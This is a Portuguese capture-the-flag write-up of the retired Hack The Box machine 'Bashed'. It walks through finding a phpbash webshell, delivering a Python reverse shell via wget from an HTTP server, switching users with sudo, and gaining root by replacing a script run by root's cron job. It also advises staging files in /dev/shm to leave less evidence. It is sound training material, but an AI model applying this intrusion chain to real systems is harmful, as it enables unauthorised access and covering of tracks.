O Hack The Box é “uma plataforma online que permite você testar e avançar com suas habilidades em cybersegurança”. O Hack The Box nos dá acesso ao site onde, além de uns desafios clássicos de CTF (web, misc, rev…), há também servidores reais configurados para serem ownados. Esta segunda parte funciona com um acesso via VPN que é oferecido depois de você ter hackeado o sistema de convite e criado uma conta. O serviço é de graça, mas uns planos pagos são oferecidos. Se não conhecia e ficou curioso, dá uma olhada no site. Tem todo um ranking, sistema de níveis e outras putarias.
Agora, vamos a parte que interessa.
Bashed é uma máquina que foi aposentada agora, dia 28/04/2018. É por isso que posso publicar um write-up, pois a comunidade ao redor do hack the box respeita a ideia de apenas publicar soluções de desafios que já não pontuam para o ranking.
Entre as ativas, ela era uma das mais fáceis.
O processo de hackear uma máquina, normalmente, segue o mesmo padrão:
Mas nunca há realmente um “padrão”. Eu uso esse processo como uma base frágil para tentar não deixar passar nada em branco. Há várias possibilidades que só vão depender das particularidades do sistema.
Então, comecei com um clássico scanner de portas usando o NMAP:
Aparantemente o servidor só estava com a porta 80 aberta e rodando um servidor http apache. O passo seguinte foi acessar o site e analisa-lo.
O site rodando é simples e não oferecia nada além de páginas estáticas. No código fonte não havia nada interessante.
Mas na página http://10.10.10.68/single.html teve algo que chamou minha atenção: Arrexel’s, o dono do site, fala sobre o phpbash e que a desenvolveu neste mesmo servidor. Ou seja, havia uma webshell em algum canto do server e seria ótimo encontrar.
Abaixo do curto texto há prints de tela com o phpbash rodando. Achei que seria uma dica e tentei acessar o phpbash usando o caminho /uploads/phpbash.php, que é exibido em um dos prints, mas sem sucesso.
Foi hora de partir para ignorância: fazer força-bruta dos diretórios do servior web, o que é bem comum em muitas máquinas do hackthebox. Gosto de usar o OWASP DirBuster por nenhuma razão em especial. E usei esta wordlist.
Depois de uns minutos, encontrei exatamente o que esperava:
Assim que tive acesso a webshell, fui em busca da flag do usuário. Ela sempre estará em /home dentro do diretório de alguém. Nesse caso, era o arrexel.
Agora era preciso virar root e para isso uma webshell não é legal. Costumo usar essas shells em python porque já pego um pseudo terminal.
Preparei meu pc para receber a shell:
brenno@budweiser ~/D/p/e/python-shellspython shell_handler.py 10.10.15.111:1338 -b[/]
E, depois de ter alterado o arquivo back_connect.py e inserido meu endereço ip e porta para onde a shell reversa seria enviada, preparei um simples servidor http para enviar a shell.
brenno@budweiser ~/D/p/e/python-shellspython -m SimpleHTTPServer 8000 Serving HTTP on 0.0.0.0 port 8000 ...
Na webshell, entrei no diretório /dev/shm, que é um diretório que usa a memória RAM para armazenar os dados, assim podemos deixar menos evidências no servidor ownado. Boas práticas na simulação leva a boas práticas na prática. Aí foi só mandar um wget para buscar a shell reversa.
Aí foi só rodar meu script com o comando python back_connect.py e voltar ao meu terminal para ver isso aqui:
Temos uma bela shell!
Só pelo hábito, assim que peguei a shell, usei o comando sudo -l para ver se o usuário www-data tinha alguns privilégios:
www-data@bashed:/dev/shm$ sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
www-data@bashed:/dev/shm$
Olha só, podemos executar qualquer coisa como scriptmanager sem precisar usar senha.
www-data@bashed:/dev/shm$ sudo -u scriptmanager bash
scriptmanager@bashed:/dev/shm$
Virei scriptmanager. Soa melhor que www-data. E, como um usuário de verdade (sei disso porque lembrei de ter visto uma pasta para ele em /home), provavelmente tem mais privilégios.
Foi aí que comecei a fuçar no servidor, vendo que serviços rodavam, se havia algum vulnerável, versão do kernel e o que era mais padrão para escalar privilégios. Foi em meio a esse processo de reconhecimento que percebi algo fora do normal no diretório raiz: a pasta scripts.
scriptmanager@bashed:/$ ls -alh
total 88K
drwxr-xr-x 23 root root 4.0K Dec 4 13:02 .
drwxr-xr-x 23 root root 4.0K Dec 4 13:02 ..
drwxr-xr-x 2 root root 4.0K Dec 4 11:22 bin
drwxr-xr-x 3 root root 4.0K Dec 4 11:17 boot
drwxr-xr-x 19 root root 4.2K Feb 25 10:28 dev
drwxr-xr-x 89 root root 4.0K Dec 4 17:09 etc
drwxr-xr-x 4 root root 4.0K Dec 4 13:53 home
lrwxrwxrwx 1 root root 32 Dec 4 11:14 initrd.img -boot/initrd.img-4.4.0-62-generic
drwxr-xr-x 19 root root 4.0K Dec 4 11:16 lib
drwxr-xr-x 2 root root 4.0K Dec 4 11:13 lib64
drwx------ 2 root root 16K Dec 4 11:13 lost+found
drwxr-xr-x 4 root root 4.0K Dec 4 11:13 media
drwxr-xr-x 2 root root 4.0K Feb 15 2017 mnt
drwxr-xr-x 2 root root 4.0K Dec 4 11:18 opt
dr-xr-xr-x 359 root root 0 Feb 25 10:28 proc
drwx------ 3 root root 4.0K Dec 4 13:03 root
drwxr-xr-x 18 root root 500 Feb 25 10:28 run
drwxr-xr-x 2 root root 4.0K Dec 4 11:18 sbin
drwxrwxr-- 2 scriptmanager scriptmanager 4.0K Feb 25 13:45 scripts
drwxr-xr-x 2 root root 4.0K Feb 15 2017 srv
dr-xr-xr-x 13 root root 0 Feb 25 10:33 sys
drwxrwxrwt 14 root root 4.0K Feb 25 13:51 tmp
drwxr-xr-x 10 root root 4.0K Dec 4 11:13 usr
drwxr-xr-x 12 root root 4.0K Dec 4 11:20 var
lrwxrwxrwx 1 root root 29 Dec 4 11:14 vmlinuz -boot/vmlinuz-4.4.0-62-generic
E o que encontrei dentro desse diretório me fez suspeitar que estava no caminho certo:
scriptmanager@bashed:/scripts$ ls -l
total 16
-rw-r--r-- 1 scriptmanager scriptmanager 46 Feb 25 13:53 test.py
-rw-r--r-- 1 root root 12 Feb 25 11:03 test.txt
Ao verificar o conteúdo dos dois arquivos obtive:
scriptmanager@bashed:/scripts$ cat test.py
f = open("test.txt", "w")
f.write("testing!")
scriptmanager@bashed:/scripts$ cat test.txt
testing!scriptmanager@bashed:/scripts$
De alguma forma o script python test.py era executado como root, abria o arquivo test.txt e escrevia a palavra “testing!”. Essa porra parecia promissora. Então coloquei um shell handler para esperar uma conexão em outra porta no meu computador, substitui o arquivo test.py pelo meu script de shell reversa e esperei.
Acesso root obtido com sucesso. Agora era só pegar a flag:
root@bashed:/scripts# cat /root/root.txt
cc4f0afe3a1026d402ba10329674a8e2
E confirmar uma suspeita que tive:
root@bashed:/scripts# crontab -l
* * * * * cd /scripts; for f in *.py; do python "$f"; done
root@bashed:/scripts#
Aparentemente havia um cronjob do usuário root responsável por executar qualquer script terminado em .py que estivesse na pasta /scripts. Nem era preciso substituir o test.py como fiz.
Depois disso dei um reset na máquina para garantir que ninguém encontrasse meus arquivos e perdesse a diversão de descobrir o caminho sozinho e parti para a próxima.
tags: Hack The Box,